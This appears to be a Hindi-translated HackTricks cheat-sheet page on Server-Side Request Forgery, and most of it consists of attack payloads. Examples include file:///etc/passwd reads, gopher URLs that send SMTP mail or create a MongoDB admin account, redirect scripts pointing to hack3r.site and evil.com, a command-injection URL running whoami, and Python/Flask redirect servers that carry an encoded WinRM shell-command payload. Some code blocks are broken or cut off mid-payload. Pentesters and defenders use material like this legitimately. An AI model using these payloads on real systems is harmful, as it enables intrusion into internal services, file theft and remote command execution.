SSRF (Server Side Request Forgery)

Trickest का उपयोग करें और आसानी से बनाएं और ऑटोमेट वर्कफ़्लो जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं। आज ही पहुंचें:

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) एक सुरक्षा रिक्तता है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपनी पसंद के डोमेन पर एचटीटीपी रिक्वेस्ट करने के लिए बहकाता है। यह रिक्तता हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोलती है।

SSRF को कैप्चर करें

पहली चीज जो आपको करनी होगी वह एक एसएसआरएफ इंटरैक्शन को कैप्चर करना है जो आपके द्वारा उत्पन्न किया गया है। एचटीटीपी या डीएनएस इंटरैक्शन को कैप्चर करने के लिए आप उपकरणों का उपयोग कर सकते हैं:

व्हाइटलिस्टेड डोमेन बाइपास

आम तौर पर आपको पाएंगे कि एसएसआरएफ केवल निश्चित व्हाइटलिस्टेड डोमेन्स या यूआरएल में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बाइपास करने के तकनीकों का एक संकलन है:

pageURL Format Bypass

ओपन रीडायरेक्ट के माध्यम से बाइपास

यदि सर्वर सही ढंग से सुरक्षित है तो आप वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बाइपास कर सकते हैं। क्योंकि वेब पेज एक ही डोमेन के लिए एसएसआरएफ की अनुमति देगा और संभावना है कि रीडायरेक्ट करेगा, आप ओपन रीडायरेक्ट का शोषण करके सर्वर को किसी भी संसाधन तक पहुंचाने के लिए उपयोग कर सकते हैं। अधिक जानकारी के लिए यहाँ पढ़ें: https://portswigger.net/web-security/ssrf

प्रोटोकॉल

  • file://

  • URL योजना file:// को सीधे /etc/passwd पर संदर्भित किया गया है: file:///etc/passwd

  • dict://

  • DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषाएँ या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जो एक निर्मित यूआरएल को लक्षित शब्द, डेटाबेस, और प्रविष्टि संख्या की ओर निर्देशित करता है, साथ ही एक PHP स्क्रिप्ट का उपयोग करके एक डिक्ट सर्वर से कनेक्ट करने के लिए आकस्मिक उपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • एक सुरक्षित शैली में फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को कैसे उत्पादक सुरक्षित SFTP सर्वर से कनेक्ट किया जा सकता है: url=sftp://generic.com:11111/

  • TFTP://

  • UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, एक PHP स्क्रिप्ट के उदाहरण के साथ उल्लेख किया गया है जो एक TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जिसमें इसका उपयोग आईपी नेटवर्क्स पर वितरित निर्देशिका सूचना सेवाओं को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ बातचीत करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • एक विधि वर्णित की गई है जिसका उपयोग SMTP सेवाओं के साथ बातचीत करने के लिए किया जाता है, जिसमें आंतरिक डोमेन नामों को प्रकट करने के लिए कदम और उस जानकारी के आधार पर और जांच कार्रवाई की जाती है।

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass

  • यदि SSRF को curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता होती है जो WAFs को दौड़ने के लिए उपयोगी हो सकती है। उदाहरण के लिए इस writeup में आप एक path traversal via file protocol के लिए उदाहरण पा सकते हैं:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • गोफर://

  • गोफर प्रोटोकॉल की क्षमता को आईपी, पोर्ट, और सर्वर संचार के लिए बाइट्स को निर्दिष्ट करने पर चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जो payloads तैयार करने के लिए हैं। दो विभिन्न उपयोगों का उदाहरण दिया गया है:

गोफर://

इस प्रोटोकॉल का उपयोग करके आप सर्वर को भेजने के लिए चाहते हैं उस आईपी, पोर्ट और बाइट्स को निर्दिष्ट कर सकते हैं। फिर, आप मौजूदा एक SSRF का शोषण कर सकते हैं ताकि आप किसी भी TCP सर्वर के साथ संवाद कर सकें (लेकिन आपको पहले सेवा से बात करने का तरीका पता होना चाहिए)। भाग्यवश, आप Gopherus का उपयोग कर सकते हैं विभिन्न सेवाओं के लिए payloads बनाने के लिए। इसके अतिरिक्त, remote-method-guesser का उपयोग किया जा सकता है Java RMI सेवाओं के लिए gopher payloads बनाने के लिए।

गोफर smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

गोफर एचटीटीपी

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

गोफर SMTP — 1337 को बैक कनेक्ट करें

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin है, पासवर्ड=admin123 है और अनुमति=प्रशासक है

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF के माध्यम से रेफरर हेडर और अन्य

सर्वर पर एनालिटिक्स सॉफ्टवेयर आम तौर पर रेफरर हेडर को लॉग करता है ताकि आने वाले लिंक्स का ट्रैकिंग किया जा सके, एक अमल जो एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संरचनाओं के लिए उद्घाटन करता है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जाकर रेफरल साइट सामग्री का विश्लेषण करने के लिए कर सकता है। इन रिक्तियों को खोजने के लिए, बर्प स्वीट प्लगइन "कॉलेबोरेटर एव्रीवेर" का सुझाव दिया जाता है, जो एनालिटिक्स टूल्स के द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सतह की पहचान करने में मदद करता है।

सर्टिफिकेट से SNI डेटा के माध्यम से SSRF

किसी सरल सेटअप के माध्यम से किसी भी बैकएंड से कनेक्शन सक्षम करने की एक गलत कॉन्फ़िगरेशन को एक उदाहरण एनजिन्क्स कॉन्फ़िगरेशन के साथ दिखाया गया है:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

इस कॉन्फ़िगरेशन में, सर्वर नेम इंडिकेशन (SNI) फ़ील्ड से आने वाले मान को सीधे बैकएंड का पता के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंशवाद को उजागर करता है, जिसे सीधे SNI फ़ील्ड में वांछित आईपी पता या डोमेन नाम को निर्दिष्ट करके उत्पादित किया जा सकता है। openssl कमांड का उपयोग करके internal.host.com जैसे एक अनिवार्य बैकएंड से कनेक्शन करने के लिए एक उत्पादन उदाहरण नीचे दिया गया है:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

कमांड इंजेक्शन के साथ SSRF

यह एक पेडलो की तरह हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs रेंडरिंग

यदि वेब पृष्ठ स्वचालित रूप से एक पीडीएफ बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप कुछ जेएस डाल सकते हैं जो पीडीएफ निर्माता खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। अधिक जानकारी यहाँ मिलेगी.

SSRF से डोएस तक

एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने का प्रयास करें।

SSRF PHP फ़ंक्शन

pagePHP SSRF

SSRF गोफर को रीडायरेक्ट करें

कुछ शोषणों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजनी पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हो। आज ही पहुंच प्राप्त करें:

SSRF के लिए गलत रूप से कॉन्फ़िगर किए गए प्रॉक्सी

ट्रिक्स इस पोस्ट से

Flask

Flask प्रॉक्सी वंलरेबल कोड

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask की अनुमति है कि **`@`** को प्रारंभिक वर्ण के रूप में उपयोग किया जा सके, जिससे **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाया जा सके** और एक नया नाम संज्ञापित किया जा सके। हमला अनुरोध:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

स्प्रिंग बूट

वंलरेबल कोड:

यह पाया गया कि एक अनुरोध का पथ शुरू करना संभव है जिसमें वर्ण ; का उपयोग करने देता है जिससे फिर @ का उपयोग करके एक नया होस्ट एक्सेस करने की अनुमति होती है। हमला अनुरोध:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP बिल्ट-इन वेब सर्वर

Last updated